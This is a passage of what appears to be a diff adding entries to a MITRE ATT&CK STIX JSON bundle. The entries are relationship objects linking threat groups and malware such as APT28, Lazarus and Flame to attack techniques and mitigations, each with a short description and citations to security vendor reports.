"[APT28](https://attack.mitre.org/groups/G0007) has used tools to perform keylogging.", + "type": "relationship", + "created": "2017-05-31T21:33:27.039Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2d450e2f-25c9-49af-b83f-6c91029ed28a", + "external_references": [ + { + "source_name": "Microsoft SIR Vol 19", + "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.", + "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf" + }, + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + } + ], + "modified": "2019-07-27T00:09:36.776Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:45:24.304Z", + "type": "relationship", + "id": "relationship--35572bdc-c7a2-442b-8d9a-7691317b6982", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.022Z", + "source_ref": "course-of-action--c95c8b5c-b431-43c9-9557-f494805e2502", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:33:35.636Z", + "type": "relationship", + "id": "relationship--ab637576-5bf9-423f-b5e8-6d1ac26bbb5c", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.028Z", + "source_ref": "course-of-action--cdecc44a-1dbf-4c1f-881c-f21e3f47272a", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used PowerShell for execution.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d36e83a0-5370-4d78-862d-4dbe8921709d", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "modified": "2019-03-22T19:57:37.382Z", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Trojan.Mebromi](https://attack.mitre.org/software/S0001) performs BIOS modification and can download and execute a file as well as protect itself from removal.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d92b5b68-4c3e-436f-a922-997467831409", + "external_references": [ + { + "source_name": "Ge 2011", + "description": "Ge, L. (2011, September 9). BIOS Threat is Showing up Again!. Retrieved November 14, 2014.", + "url": "http://www.symantec.com/connect/blogs/bios-threat-showing-again" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c5e9cb46-aced-466c-85ea-7db5572ad9ec", + "relationship_type": "uses", + "target_ref": "attack-pattern--6856ddd6-2df3-4379-8b87-284603c189c3" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[T9000](https://attack.mitre.org/software/S0098) searches removable storage devices for files with a pre-defined list of file extensions (e.g. * .doc, *.ppt, *.xls, *.docx, *.pptx, *.xlsx). Any matching files are encrypted and written to a local user directory.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--11bc3d01-fc44-415c-b5a3-5576f5cb6057", + "external_references": [ + { + "source_name": "Palo Alto T9000 Feb 2016", + "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3", + "relationship_type": "uses", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2018-10-17T00:14:20.652Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--632ca9a0-a9f3-4b27-96e1-9fcb8bab11cb", + "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6", + "relationship_type": "revoked-by", + "target_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-06-28T15:24:32.598Z", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3dd745f5-1c0c-4376-8850-89679fcd4e31", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "source_name": "DOJ APT10 Dec 2018", + "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019.", + "url": "https://www.justice.gov/opa/press-release/file/1121706/download" + } + ], + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can use PowerShell commands to download and execute a payload and open a decoy document on the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3ed930d6-ab79-4642-8320-2ed59d899b6d", + "external_references": [ + { + "source_name": "Unit 42 Gorgon Group Aug 2018", + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ], + "modified": "2019-07-25T14:56:46.778Z", + "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) uses Web shells on publicly accessible Web servers to access victim networks.", + "type": "relationship", + "created": "2017-05-31T21:33:27.043Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--44f230bb-b59a-4f30-8203-5e5ffd9796f5", + "external_references": [ + { + "source_name": "CrowdStrike Deep Panda Web Shells", + "description": "RYANJ. (2014, February 20). Mo\u2019 Shells Mo\u2019 Problems \u2013 Deep Panda Web Shells. Retrieved September 16, 2015.", + "url": "http://www.crowdstrike.com/blog/mo-shells-mo-problems-deep-panda-web-shells/" + } + ], + "modified": "2019-03-22T20:09:34.775Z", + "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", + "relationship_type": "uses", + "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MURKYTOP](https://attack.mitre.org/software/S0233) has the capability to retrieve information about groups.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--975739e9-bb45-49d6-a67f-bc770845b4bf", + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "modified": "2019-04-22T23:25:33.656Z", + "source_ref": "malware--049ff071-0b3c-4712-95d2-d21c6aa54501", + "relationship_type": "uses", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A module in [Prikormka](https://attack.mitre.org/software/S0113) collects information on available printers and disk drives.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--33e0178f-c9b2-43db-9e63-3e664ae6bef0", + "external_references": [ + { + "source_name": "ESET Operation Groundbait", + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "modified": "2019-07-26T20:45:14.704Z", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "relationship_type": "uses", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) includes a component based on the code of VNC that can stream a live feed of the desktop of an infected host.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a883e4c6-6a40-4660-9120-b2430099ccb6", + "external_references": [ + { + "source_name": "Symantec Hydraq Jan 2010", + "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Daserf](https://attack.mitre.org/software/S0187) can log keystrokes.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d2bc1c1b-987b-4a1a-b488-8199f8113697", + "external_references": [ + { + "source_name": "Trend Micro Daserf Nov 2017", + "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/" + }, + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T14:32:52.386Z", + "type": "relationship", + "id": "relationship--a38d4ac5-1d3d-4a2f-9493-ff3e2a4669b8", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "course-of-action--cfc2d2fc-14ff-495f-bd99-585be47b804f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NETEAGLE](https://attack.mitre.org/software/S0034) allows adversaries to enumerate and modify the infected host's file system. It supports searching for directories, creating directories, listing directory contents, reading and writing to files, retrieving file attributes, and retrieving volume information.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5bb94c21-96c6-4c71-ae46-b222a69a493a", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Flame](https://attack.mitre.org/software/S0143) can take regular screenshots when certain applications are open that are sent to the command and control server.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7ba62129-a4ba-42b4-9971-4a650682cb52", + "external_references": [ + { + "source_name": "Kaspersky Flame", + "description": "Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.", + "url": "https://securelist.com/the-flame-questions-and-answers-51/34344/" + } + ], + "modified": "2019-06-06T14:35:54.015Z", + "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can download files onto compromised hosts.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5c08eb3a-d7a0-4ce0-97a2-496ea4c9f3ed", + "external_references": [ + { + "source_name": "Symantec Linfo May 2012", + "description": "Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Equation](https://attack.mitre.org/groups/G0020) has used tools with the functionality to search for specific information about the attached hard drive that could be used to identify and overwrite the firmware.", + "type": "relationship", + "created": "2017-05-31T21:33:27.055Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--062ebca3-abf7-449a-ad84-f04a3cada4dd", + "external_references": [ + { + "source_name": "Kaspersky Equation QA", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). Equation Group: Questions and Answers. Retrieved December 21, 2015.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf" + } + ], + "modified": "2019-01-31T18:38:24.511Z", + "source_ref": "intrusion-set--96e239be-ad99-49eb-b127-3007b8c1bec9", + "relationship_type": "uses", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) uses the command-line interface.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--39791d22-fec7-4459-8321-c9aa824d5fc1", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "modified": "2019-03-22T19:57:37.368Z", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) communicates with its C2 server over HTTPS.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--27a64a3a-62cb-4c1b-adfc-5070e2f1e744", + "external_references": [ + { + "source_name": "Fidelis INOCNATION", + "description": "Fidelis Cybersecurity. (2015, December 16). Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. Retrieved March 24, 2016.", + "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL_0.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [RedLeaves](https://attack.mitre.org/software/S0153) configuration file is encrypted with a simple XOR key, 0x53.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6610332d-86a5-46dc-a0a1-31c2fe31f164", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[KARAE](https://attack.mitre.org/software/S0215) can use public cloud-based storage providers for command and control.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c2178e88-74c3-4bc6-b8c5-f6bbc95fc65a", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--3c02fb1f-cbdb-48f5-abaf-8c81d6e0c322", + "relationship_type": "uses", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT29](https://attack.mitre.org/groups/G0016) used named and hijacked scheduled tasks to establish persistence.", + "type": "relationship", + "created": "2017-05-31T21:33:27.049Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4a0887ab-3ec3-436a-b378-6e28847dfb1e", + "external_references": [ + { + "source_name": "Mandiant No Easy Breach", + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + } + ], + "modified": "2019-07-25T14:25:53.354Z", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) obtains the victim username.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--818a401d-dd4d-426a-b89c-d33625380b8b", + "external_references": [ + { + "source_name": "Palo Alto MoonWind March 2017", + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A module in [Prikormka](https://attack.mitre.org/software/S0113) collects information from the victim about the current user name.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fce2d07b-7bc7-497a-b21a-75a23fbccf50", + "external_references": [ + { + "source_name": "ESET Operation Groundbait", + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "modified": "2019-07-26T20:45:14.743Z", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T20:21:57.788Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5b5f2424-ff4e-43ab-a08f-fab2b284041d", + "external_references": [ + { + "source_name": "FireEye Fin8 May 2016", + "description": "Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html" + } + ], + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "relationship_type": "uses", + "target_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Brave Prince](https://attack.mitre.org/software/S0252) lists the running processes.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2d1beee9-0b61-4e66-9487-97f1665bbedc", + "external_references": [ + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--28b97733-ef07-4414-aaa5-df50b2d30cc5", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Some [Lazarus Group](https://attack.mitre.org/groups/G0032) malware uses multiple channels for C2, such as RomeoWhiskey-Two, which consists of a RAT channel that parses data in datagram form and a Proxy channel that forms virtual point-to-point sessions.", + "type": "relationship", + "created": "2017-05-31T21:33:27.068Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7e221899-d90a-4c9a-8ea4-77110c45f0f9", + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster RATs", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf" + } + ], + "modified": "2019-04-29T18:13:09.066Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used SMB over ports 445 or 139 for C2. The group also established encrypted connections over port 443.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a5dda6bc-4697-4e2e-8207-85e9f0d05d43", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "modified": "2019-03-22T20:13:49.670Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has distributed targeted emails containing links to malicious documents with embedded macros.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--52e319bc-d6ee-4ab5-a3ae-36f0477cac67", + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "modified": "2019-03-22T20:21:57.786Z", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "relationship_type": "uses", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba" + }, + { + "created_by_ref": 